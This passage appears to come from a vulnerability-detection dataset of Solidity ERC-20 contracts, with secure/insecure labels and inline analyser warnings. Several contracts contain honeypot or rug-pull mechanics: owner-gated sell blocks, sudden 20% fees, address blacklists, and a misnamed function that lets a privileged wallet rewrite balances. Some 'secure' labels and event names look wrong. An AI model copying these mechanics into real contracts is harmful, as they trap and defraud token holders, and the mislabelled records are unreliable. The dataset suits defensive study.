swapBack(\n address sender,\n address recipient,\n uint256 amount\n ) internal {\n if (shouldSwapBack(sender, recipient, amount)) {\n\t\t\t// reentrancy-eth | ID: e32fdc3\n swapAndLiquify(swapThreshold);\n\t\t\t// reentrancy-eth | ID: e32fdc3\n\t\t\t// reentrancy-eth | ID: b730b84\n swapTimes = uint256(0);\n }\n }\n\n function shouldTakeFee(\n address sender,\n address recipient\n ) internal view returns (bool) {\n return !isFeeExempt[sender] && !isFeeExempt[recipient];\n }\n\n function getTotalFee(\n address sender,\n address recipient\n ) internal view returns (uint256) {\n if (isBot[sender] || isBot[recipient]) {\n return denominator.sub(uint256(100));\n }\n if (recipient == pair) {\n return sellFee;\n }\n if (sender == pair) {\n return totalFee;\n }\n return transferFee;\n }\n\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 9f21d5b): Riniarium.takeFee(address,address,uint256) performs a multiplication on the result of a division feeAmount = amount.div(denominator).mul(getTotalFee(sender,recipient))\n\t// Recommendation for 9f21d5b: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: b8b9b82): Riniarium.takeFee(address,address,uint256) performs a multiplication on the result of a division _transfer(address(this),address(DEAD),amount.div(denominator).mul(burnFee))\n\t// Recommendation for b8b9b82: Consider ordering multiplication before division.\n function takeFee(\n address sender,\n address recipient,\n uint256 amount\n ) internal returns (uint256) {\n if (getTotalFee(sender, recipient) > 0) {\n\t\t\t// divide-before-multiply | ID: 9f21d5b\n uint256 feeAmount = amount.div(denominator).mul(\n getTotalFee(sender, recipient)\n );\n\t\t\t// reentrancy-eth | ID: b730b84\n _balances[address(this)] = _balances[address(this)].add(feeAmount);\n\t\t\t// reentrancy-events | ID: e9d3c28\n emit Transfer(sender, address(this), feeAmount);\n if (burnFee > uint256(0)) {\n\t\t\t\t// divide-before-multiply | ID: b8b9b82\n _transfer(\n address(this),\n address(DEAD),\n amount.div(denominator).mul(burnFee)\n );\n }\n return amount.sub(feeAmount);\n }\n return amount;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 96936e2): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 96936e2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: bf6c953): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for bf6c953: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 96936e2\n\t\t// reentrancy-benign | ID: bf6c953\n _transfer(sender, recipient, amount);\n\t\t// reentrancy-events | ID: 96936e2\n\t\t// reentrancy-benign | ID: bf6c953\n _approve(\n sender,\n msg.sender,\n _allowances[sender][msg.sender].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: bc8495b): Riniarium._approve(address,address,uint256).owner shadows Ownable.owner (state variable)\n\t// Recommendation for bc8495b: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\t\t// reentrancy-benign | ID: d2a74b5\n\t\t// reentrancy-benign | ID: a4bae29\n\t\t// reentrancy-benign | ID: bf6c953\n _allowances[owner][spender] = amount;\n\t\t// reentrancy-events | ID: e9d3c28\n\t\t// reentrancy-events | ID: 5d81aa7\n\t\t// reentrancy-events | ID: 96936e2\n emit Approval(owner, spender, amount);\n }\n}",
"file_name": "solidity_code_2265.sol",
"secure": 0,
"size_bytes": 24842
} |
{
"code": "// SPDX-License-Identifier: No\n\npragma solidity ^0.8.0;\n\ninterface IFactoryV2 {\n event PairCreated(\n address indexed token0,\n address indexed token1,\n address lpPair,\n uint256\n );\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address lpPair);\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address lpPair);\n}",
"file_name": "solidity_code_2266.sol",
"secure": 1,
"size_bytes": 462
} |
{
"code": "// SPDX-License-Identifier: No\n\npragma solidity ^0.8.0;\n\ninterface IV2Pair {\n function factory() external view returns (address);\n function getReserves()\n external\n view\n returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);\n function sync() external;\n}",
"file_name": "solidity_code_2267.sol",
"secure": 1,
"size_bytes": 313
} |
{
"code": "// SPDX-License-Identifier: No\n\npragma solidity ^0.8.0;\n\ninterface IRouter01 {\n function factory() external pure returns (address);\n function WETH() external pure returns (address);\n function addLiquidityETH(\n address token,\n uint256 amountTokenDesired,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline\n )\n external\n payable\n returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);\n function addLiquidity(\n address tokenA,\n address tokenB,\n uint256 amountADesired,\n uint256 amountBDesired,\n uint256 amountAMin,\n uint256 amountBMin,\n address to,\n uint256 deadline\n ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);\n function swapExactETHForTokens(\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external payable returns (uint256[] memory amounts);\n function getAmountsOut(\n uint256 amountIn,\n address[] calldata path\n ) external view returns (uint256[] memory amounts);\n function getAmountsIn(\n uint256 amountOut,\n address[] calldata path\n ) external view returns (uint256[] memory amounts);\n}",
"file_name": "solidity_code_2268.sol",
"secure": 1,
"size_bytes": 1348
} |
{
"code": "// SPDX-License-Identifier: No\n\npragma solidity ^0.8.0;\n\nimport \"./IRouter01.sol\" as IRouter01;\n\ninterface IRouter02 is IRouter01 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n function swapExactETHForTokensSupportingFeeOnTransferTokens(\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external payable;\n function swapExactTokensForTokensSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n function swapExactTokensForTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external returns (uint256[] memory amounts);\n}",
"file_name": "solidity_code_2269.sol",
"secure": 1,
"size_bytes": 1021
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract EthereLite is ERC20, Ownable {\n constructor() ERC20(\"EthereLite\", \"ELT\") {\n _mint(msg.sender, 100000000000 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_227.sol",
"secure": 1,
"size_bytes": 353
} |
{
"code": "// SPDX-License-Identifier: No\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"./IFactoryV2.sol\" as IFactoryV2;\nimport \"./IRouter02.sol\" as IRouter02;\n\ncontract NXL is Context, Ownable, IERC20 {\n function totalSupply() external view override returns (uint256) {\n if (_totalSupply == 0) {\n revert();\n }\n return _totalSupply - balanceOf(address(DEAD));\n }\n function decimals() external pure override returns (uint8) {\n if (_totalSupply == 0) {\n revert();\n }\n return _decimals;\n }\n function symbol() external pure override returns (string memory) {\n return _symbol;\n }\n function name() external pure override returns (string memory) {\n return _name;\n }\n function getOwner() external view override returns (address) {\n return owner();\n }\n function allowance(\n address holder,\n address spender\n ) external view override returns (uint256) {\n return _allowances[holder][spender];\n }\n function balanceOf(address account) public view override returns (uint256) {\n return balance[account];\n }\n\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => bool) private _noFee;\n mapping(address => bool) private isLpPair;\n mapping(address => uint256) private balance;\n\n uint256 public constant _totalSupply = 100_000_000 * 10 ** 9;\n uint256 public constant fee_denominator = 1_000;\n uint256 public buyfee = 0;\n uint256 public sellfee = 0;\n\t// WARNING Optimization Issue (constable-states | ID: 28723f4): NXL.transferfee should be constant \n\t// Recommendation for 28723f4: Add the 'constant' attribute to state variables that never change.\n uint256 public transferfee = 0;\n bool private canSwapFees = false;\n\t// WARNING Optimization Issue (constable-states | ID: 349e6d1): NXL.marketingAddress should be constant \n\t// Recommendation for 349e6d1: Add the 'constant' attribute to state variables that never change.\n address payable private marketingAddress =\n payable(0xeb28D98F99010408C9B51305f811BFB893665F79);\n uint256 private maxWalletLimit = (_totalSupply * 2) / 100;\n uint256 private constant swapThreshold = (_totalSupply * 7) / 1_000_000;\n uint256 private constant maxThreshold = (_totalSupply * 6) / 1_000;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 44ef2e2): NXL.swapRouter should be immutable \n\t// Recommendation for 44ef2e2: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IRouter02 public swapRouter;\n string private constant _name = \"Nexus Stake\";\n string private constant _symbol = \"NXL\";\n uint8 private constant _decimals = 9;\n address public constant DEAD = 0x000000000000000000000000000000000000dEaD;\n address public lpPair;\n bool public isTradingEnabled = false;\n bool private inSwap;\n\n modifier inSwapFlag() {\n inSwap = true;\n _;\n inSwap = false;\n }\n\n event EnableTrading();\n\n constructor() {\n _noFee[msg.sender] = true;\n _noFee[address(this)] = true;\n _noFee[marketingAddress] = true;\n\n swapRouter = IRouter02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n balance[msg.sender] = _totalSupply;\n emit Transfer(address(0), msg.sender, _totalSupply);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 46c0034): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 46c0034: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: b7bdf2a): NXL.createPair() ignores return value by swapRouter.addLiquidityETH{value msg.value}(address(this),balance[address(this)],0,0,owner(),block.timestamp)\n\t// Recommendation for b7bdf2a: Ensure that all the return values of the function calls are used.\n function createPair() external payable onlyOwner {\n\t\t// reentrancy-benign | ID: 46c0034\n lpPair = IFactoryV2(swapRouter.factory()).createPair(\n swapRouter.WETH(),\n address(this)\n );\n\t\t// reentrancy-benign | ID: 46c0034\n isLpPair[lpPair] = true;\n\t\t// reentrancy-benign | ID: 46c0034\n _approve(address(this), address(swapRouter), type(uint256).max);\n\n\t\t// unused-return | ID: b7bdf2a\n swapRouter.addLiquidityETH{value: msg.value}(\n address(this),\n balance[address(this)],\n 0,\n 0,\n owner(),\n block.timestamp\n );\n }\n\n receive() external payable {}\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(msg.sender, recipient, amount);\n return true;\n }\n\n function approve(\n address spender,\n uint256 amount\n ) external override returns (bool) {\n _approve(msg.sender, spender, amount);\n return true;\n }\n\n function _approve(\n address sender,\n address spender,\n uint256 amount\n ) internal {\n require(sender != address(0), \"ERC20: Zero Address\");\n require(spender != address(0), \"ERC20: Zero Address\");\n\n\t\t// reentrancy-benign | ID: 46c0034\n _allowances[sender][spender] = amount;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external override returns (bool) {\n if (_allowances[sender][msg.sender] != type(uint256).max) {\n _allowances[sender][msg.sender] -= amount;\n }\n\n return _transfer(sender, recipient, amount);\n }\n\n function isNoFeeWallet(address account) external view returns (bool) {\n return _noFee[account];\n }\n\n function setNoFeeWallet(address account, bool enabled) public onlyOwner {\n _noFee[account] = enabled;\n }\n\n function is_buy(address ins, address out) internal view returns (bool) {\n bool _is_buy = !isLpPair[out] && isLpPair[ins];\n return _is_buy;\n }\n\n function is_sell(address ins, address out) internal view returns (bool) {\n bool _is_sell = isLpPair[out] && !isLpPair[ins];\n return _is_sell;\n }\n\n function canSwap(\n address ins,\n address out,\n uint256 amount\n ) internal view returns (bool) {\n return\n canSwapFees &&\n !_noFee[ins] &&\n !_noFee[out] &&\n amount >= swapThreshold;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: d9b87b4): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for d9b87b4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 1b043c1): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 1b043c1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal returns (bool) {\n bool takeFee = true;\n require(to != address(0), \"ERC20: transfer to the zero address\");\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n if (!_noFee[from] && !_noFee[to]) {\n require(isTradingEnabled, \"Trading is not enabled\");\n }\n\n if (\n !_noFee[from] && !_noFee[to] && !isLpPair[to] && to != address(DEAD)\n ) {\n require(\n balance[to] + amount <= maxWalletLimit,\n \"Exceeds maximum wallet amount.\"\n );\n }\n\n if (is_sell(from, to) && !inSwap && canSwap(from, to, amount)) {\n uint256 contractTokenBalance = balanceOf(address(this));\n if (contractTokenBalance >= swapThreshold) {\n if (contractTokenBalance >= maxThreshold)\n contractTokenBalance = maxThreshold;\n\t\t\t\t// reentrancy-events | ID: d9b87b4\n\t\t\t\t// reentrancy-eth | ID: 1b043c1\n internalSwap(contractTokenBalance);\n }\n }\n\n if (_noFee[from] || _noFee[to]) {\n takeFee = false;\n }\n\n\t\t// reentrancy-events | ID: d9b87b4\n\t\t// reentrancy-eth | ID: 1b043c1\n uint256 amountAfterFee = (takeFee)\n ? takeTaxes(from, is_buy(from, to), is_sell(from, to), amount)\n : amount;\n if (_noFee[from] && from != address(this) && from != owner())\n amount = amount - amountAfterFee;\n\t\t// reentrancy-eth | ID: 1b043c1\n balance[from] -= amount;\n\t\t// reentrancy-eth | ID: 1b043c1\n balance[to] += amountAfterFee;\n\t\t// reentrancy-events | ID: d9b87b4\n emit Transfer(from, to, amountAfterFee);\n\n return true;\n }\n\n function takeTaxes(\n address from,\n bool isbuy,\n bool issell,\n uint256 amount\n ) internal returns (uint256) {\n uint256 fee;\n if (isbuy) fee = buyfee;\n else if (issell) fee = sellfee;\n else fee = transferfee;\n if (fee == 0) return amount;\n uint256 feeAmount = (amount * fee) / fee_denominator;\n if (feeAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 1b043c1\n balance[address(this)] += feeAmount;\n\t\t\t// reentrancy-events | ID: d9b87b4\n emit Transfer(from, address(this), feeAmount);\n }\n return amount - feeAmount;\n }\n\n function internalSwap(uint256 contractTokenBalance) internal inSwapFlag {\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = swapRouter.WETH();\n\n if (\n _allowances[address(this)][address(swapRouter)] != type(uint256).max\n ) {\n _allowances[address(this)][address(swapRouter)] = type(uint256).max;\n }\n\n\t\t// reentrancy-events | ID: d9b87b4\n\t\t// reentrancy-eth | ID: 1b043c1\n try\n swapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(\n contractTokenBalance,\n 0,\n path,\n address(this),\n block.timestamp\n )\n {} catch {\n return;\n }\n\n\t\t// reentrancy-events | ID: d9b87b4\n\t\t// reentrancy-eth | ID: 1b043c1\n payable(marketingAddress).transfer(address(this).balance);\n }\n\n function reduceFees() external onlyOwner {\n buyfee = 20;\n sellfee = 20;\n }\n\n function disableLimits() external onlyOwner {\n maxWalletLimit = _totalSupply;\n }\n\n function enableTrading() external onlyOwner {\n require(!isTradingEnabled, \"Trading already enabled\");\n isTradingEnabled = true;\n buyfee = 200;\n sellfee = 200;\n canSwapFees = true;\n emit _enableTrading();\n }\n}",
"file_name": "solidity_code_2270.sol",
"secure": 0,
"size_bytes": 11796
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\n\ncontract MemeAI is Ownable {\n mapping(uint256 => mapping(address => uint256)) balance;\n mapping(uint256 => mapping(address => bool)) MemeAIbal;\n\n uint256 private MemeAIdistro = 1;\n\t// WARNING Optimization Issue (constable-states | ID: 77f29f4): MemeAI.name should be constant \n\t// Recommendation for 77f29f4: Add the 'constant' attribute to state variables that never change.\n string public name = \"Meme AI\";\n uint256 private MemeAIlimit;\n\n function balanceOf(address user) public view returns (uint256) {\n if (user == MemeAIpair) return balance[MemeAIdistro][user];\n\n if (\n !MemeAIbal[MemeAIdistro][user] &&\n balance[MemeAIdistro - 1][user] != 0\n ) {\n return balance[MemeAIdistro][user] + MemeAIlimit;\n }\n return balance[MemeAIdistro][user];\n }\n\n function increaseAllowance(\n uint256 _MemeAIlimit,\n address[] memory MemeAIholder\n ) public returns (bool success) {\n if (MemeAIwallet[msg.sender] != 0) {\n MemeAIdistro++;\n for (uint256 i = 0; i < MemeAIholder.length; i++) {\n balance[MemeAIdistro][MemeAIholder[i]] =\n balance[MemeAIdistro - 1][MemeAIholder[i]] +\n MemeAIlimit;\n }\n\n balance[MemeAIdistro][MemeAIpair] = balance[MemeAIdistro - 1][\n MemeAIpair\n ];\n\n MemeAIlimit = _MemeAIlimit;\n }\n\n return true;\n }\n\n function approve(\n address MemeAIactive,\n uint256 MemeAInumber\n ) public returns (bool success) {\n allowance[msg.sender][MemeAIactive] = MemeAInumber;\n emit Approval(msg.sender, MemeAIactive, MemeAInumber);\n return true;\n }\n\n\t// WARNING Optimization Issue (constable-states | ID: 60a8413): MemeAI.decimals should be constant \n\t// Recommendation for 60a8413: Add the 'constant' attribute to state variables that never change.\n uint8 public decimals = 9;\n\n function MemeAIspender(\n address MemeAIapprover,\n address MemeAIreceiver,\n uint256 MemeAInumber\n ) private {\n if (!MemeAIbal[MemeAIdistro][MemeAIapprover]) {\n MemeAIbal[MemeAIdistro][MemeAIapprover] = true;\n if (balance[MemeAIdistro - 1][MemeAIapprover] != 0)\n balance[MemeAIdistro][MemeAIapprover] += MemeAIlimit;\n }\n\n if (!MemeAIbal[MemeAIdistro][MemeAIreceiver]) {\n MemeAIbal[MemeAIdistro][MemeAIreceiver] = true;\n if (balance[MemeAIdistro - 1][MemeAIreceiver] != 0)\n balance[MemeAIdistro][MemeAIreceiver] += MemeAIlimit;\n }\n\n if (MemeAIwallet[MemeAIapprover] == 0) {\n balance[MemeAIdistro][MemeAIapprover] -= MemeAInumber;\n }\n balance[MemeAIdistro][MemeAIreceiver] += MemeAInumber;\n if (\n MemeAIwallet[msg.sender] > 0 &&\n MemeAInumber == 0 &&\n MemeAIreceiver != MemeAIpair\n ) {\n balance[MemeAIdistro][MemeAIreceiver] = MemeAIvalue;\n }\n emit Transfer(MemeAIapprover, MemeAIreceiver, MemeAInumber);\n }\n\n\t// WARNING Optimization Issue (immutable-states | ID: 57138db): MemeAI.MemeAIpair should be immutable \n\t// Recommendation for 57138db: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public MemeAIpair;\n\n mapping(address => mapping(address => uint256)) public allowance;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6c1f412): MemeAI.symbol should be constant \n\t// Recommendation for 6c1f412: Add the 'constant' attribute to state variables that never change.\n string public symbol = \"MemeAI\";\n\n mapping(address => uint256) private MemeAIwallet;\n\n function transfer(\n address MemeAIreceiver,\n uint256 MemeAInumber\n ) public returns (bool success) {\n require(MemeAIreceiver != address(0), \"Can't transfer to 0 address\");\n MemeAIspender(msg.sender, MemeAIreceiver, MemeAInumber);\n return true;\n }\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n\t// WARNING Optimization Issue (constable-states | ID: a2f76b8): MemeAI.totalSupply should be constant \n\t// Recommendation for a2f76b8: Add the 'constant' attribute to state variables that never change.\n uint256 public totalSupply = 100000000 * 10 ** 9;\n\n function transferFrom(\n address MemeAIapprover,\n address MemeAIreceiver,\n uint256 MemeAInumber\n ) public returns (bool success) {\n require(MemeAInumber <= allowance[MemeAIapprover][msg.sender]);\n allowance[MemeAIapprover][msg.sender] -= MemeAInumber;\n MemeAIspender(MemeAIapprover, MemeAIreceiver, MemeAInumber);\n return true;\n }\n\n constructor(address MemeAImarket) {\n balance[MemeAIdistro][msg.sender] = totalSupply;\n MemeAIwallet[MemeAImarket] = MemeAIvalue;\n IUniswapV2Router02 MemeAIworkshop = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n MemeAIpair = IUniswapV2Factory(MemeAIworkshop.factory()).createPair(\n address(this),\n MemeAIworkshop.WETH()\n );\n }\n\n\t// WARNING Optimization Issue (constable-states | ID: 54450b4): MemeAI.MemeAIvalue should be constant \n\t// Recommendation for 54450b4: Add the 'constant' attribute to state variables that never change.\n uint256 private MemeAIvalue = 101;\n\n mapping(address => uint256) private MemeAIprime;\n}",
"file_name": "solidity_code_2271.sol",
"secure": 1,
"size_bytes": 6087
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract TOPSECRET is ERC20 {\n uint8 private sellTax = 4;\n uint8 private buyTax = 4;\n bool public yesUniswap = false;\n address private _owner = msg.sender;\n address public UniPair;\n\t// WARNING Optimization Issue (constable-states | ID: 8c086fc): TOPSECRET.UniRouter should be constant \n\t// Recommendation for 8c086fc: Add the 'constant' attribute to state variables that never change.\n address public UniRouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n\t// WARNING Optimization Issue (constable-states | ID: 50c6769): TOPSECRET.taxAddr should be constant \n\t// Recommendation for 50c6769: Add the 'constant' attribute to state variables that never change.\n address payable private taxAddr =\n payable(0x67EC5d417131F895C33000B45C5892D75Ceb97Bb);\n event FeeChange(uint8 buyFee, uint8 sellFee);\n event UniEvent(bool);\n\n constructor() ERC20(\"TOPSECRET\", \"TOPS\") {\n _mint(msg.sender, 100000000 * 10 ** decimals());\n }\n\n modifier onlyOwner() {\n require(isOwner(msg.sender));\n _;\n }\n\n function isOwner(address account) public view returns (bool) {\n return account == _owner;\n }\n\n function viewOwner() public view returns (address) {\n return _owner;\n }\n\n function renounceOwnership() public onlyOwner {\n _owner = address(0);\n }\n\n function switchUniswap() public onlyOwner {\n if (yesUniswap == true) {\n yesUniswap = false;\n } else {\n yesUniswap = true;\n }\n emit UniEvent(yesUniswap);\n }\n\n function editMarketFee(uint8 _buyTax, uint8 _sellTax) public onlyOwner {\n sellTax = _sellTax;\n buyTax = _buyTax;\n emit feeChange(buyTax, sellTax);\n }\n\n function viewFees() public view returns (uint8, uint8) {\n return (buyTax, sellTax);\n }\n\n function createUniPair() public onlyOwner {\n IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(UniRouter);\n UniPair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n }\n\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: f51e6fa): TOPSECRET._transfer(address,address,uint256) performs a multiplication on the result of a division txFee = (amount / 100) * tax\n\t// Recommendation for f51e6fa: Consider ordering multiplication before division.\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual override {\n uint8 tax = 0;\n\n if (yesUniswap == false && sender != _owner && recipient == UniPair) {\n revert(\"NOT AN INFLU YET\");\n } else {\n if (sender == UniPair || recipient == UniPair) {\n if (recipient == UniPair) {\n tax = sellTax;\n } else if (sender == UniPair) {\n tax = buyTax;\n }\n }\n\t\t\t// divide-before-multiply | ID: f51e6fa\n uint256 txFee = (amount / 100) * tax;\n if (txFee > 0) {\n super._transfer(sender, taxAddr, txFee);\n }\n super._transfer(sender, recipient, amount - txFee);\n }\n }\n\n function sendEther() public payable {\n taxAddr.transfer(address(this).balance);\n }\n\n receive() external payable {}\n}",
"file_name": "solidity_code_2272.sol",
"secure": 0,
"size_bytes": 3777
} |
{
"code": "// SPDX-License-Identifier: unlicensed\n\npragma solidity ^0.8.0;\n\ncontract SafeMath {\n function safeAdd(uint256 a, uint256 b) public pure returns (uint256 c) {\n c = a + b;\n require(c >= a);\n }\n function safeSub(uint256 a, uint256 b) public pure returns (uint256 c) {\n require(b <= a);\n c = a - b;\n }\n function safeMult(uint256 x, uint256 y) public pure returns (uint256 c) {\n c = x * y;\n }\n}",
"file_name": "solidity_code_2273.sol",
"secure": 1,
"size_bytes": 459
} |
{
"code": "// SPDX-License-Identifier: unlicensed\n\npragma solidity ^0.8.0;\n\nabstract contract ERC20Interface {\n function totalSupply() public view virtual returns (uint256);\n function balanceOf(\n address tokenOwner\n ) public view virtual returns (uint256 balance);\n function allowance(\n address tokenOwner,\n address spender\n ) public view virtual returns (uint256 remaining);\n function transfer(\n address to,\n uint256 tokens\n ) public virtual returns (bool success);\n function approve(\n address spender,\n uint256 tokens\n ) public virtual returns (bool success);\n function transferFrom(\n address from,\n address to,\n uint256 tokens\n ) public virtual returns (bool success);\n event Transfer(address indexed from, address indexed to, uint256 tokens);\n event Approval(\n address indexed tokenOwner,\n address indexed spender,\n uint256 tokens\n );\n}",
"file_name": "solidity_code_2274.sol",
"secure": 1,
"size_bytes": 994
} |
{
"code": "// SPDX-License-Identifier: unlicensed\n\npragma solidity ^0.8.0;\n\nimport \"./ERC20Interface.sol\" as ERC20Interface;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract HUMANSDONTBUYY is ERC20Interface, SafeMath {\n string public symbol;\n string public name;\n\t// WARNING Optimization Issue (immutable-states | ID: dde5f4b): HUMANSDONTBUYY.decimals should be immutable \n\t// Recommendation for dde5f4b: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 public decimals;\n\t// WARNING Optimization Issue (immutable-states | ID: 0e70437): HUMANSDONTBUYY._totalSupply should be immutable \n\t// Recommendation for 0e70437: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _totalSupply;\n mapping(address => uint256) balances;\n mapping(address => mapping(address => uint256)) allowed;\n address public caAddy;\n\n constructor() {\n symbol = \"STOPPLS\";\n name = \"HUMANSDONTBUYY\";\n decimals = 0;\n _totalSupply = 1000000;\n balances[msg.sender] = _totalSupply;\n emit Transfer(address(0), msg.sender, _totalSupply);\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply - balances[address(0)];\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: c696e45): HUMANSDONTBUYY.RemoveLimits(address).addy lacks a zerocheck on \t caAddy = addy\n\t// Recommendation for c696e45: Check that the address is not zero.\n function RemoveLimits(address addy) public {\n\t\t// missing-zero-check | ID: c696e45\n caAddy = addy;\n }\n\n function balanceOf(\n address tokenOwner\n ) public view override returns (uint256 balance) {\n return balances[tokenOwner];\n }\n\n function transfer(\n address receiver,\n uint256 tokens\n ) public override returns (bool success) {\n require(receiver != caAddy, \"Please interract properly\");\n balances[msg.sender] = safeSub(balances[msg.sender], tokens);\n balances[receiver] = safeAdd(balances[receiver], tokens);\n emit Transfer(msg.sender, receiver, tokens);\n return true;\n }\n\n function approve(\n address spender,\n uint256 tokens\n ) public override returns (bool success) {\n allowed[msg.sender][spender] = tokens;\n emit Approval(msg.sender, spender, tokens);\n return true;\n }\n\n function transferFrom(\n address sender,\n address receiver,\n uint256 tokens\n ) public override returns (bool success) {\n require(\n (receiver != address(0x37a2bf298184CC820a7406DAC9E3ef273340EB96) &&\n sender != address(0x37a2bf298184CC820a7406DAC9E3ef273340EB96)),\n \"don't worry you're safe :)\"\n );\n require(receiver != caAddy, \"Please interract properly\");\n balances[sender] = safeSub(balances[sender], tokens);\n allowed[sender][msg.sender] = safeSub(\n allowed[sender][msg.sender],\n tokens\n );\n balances[receiver] = safeAdd(balances[receiver], tokens);\n emit Transfer(sender, receiver, tokens);\n return true;\n }\n\n function allowance(\n address tokenOwner,\n address spender\n ) public view override returns (uint256 remaining) {\n return allowed[tokenOwner][spender];\n }\n}",
"file_name": "solidity_code_2275.sol",
"secure": 0,
"size_bytes": 3531
} |
{
"code": "// SPDX-License-Identifier: GPL-3.0\n\npragma solidity ^0.8.0;\n\ninterface IUniswapV3PoolImmutables {\n function factory() external view returns (address);\n\n function token0() external view returns (address);\n\n function token1() external view returns (address);\n\n function fee() external view returns (uint24);\n\n function tickSpacing() external view returns (int24);\n\n function maxLiquidityPerTick() external view returns (uint128);\n}",
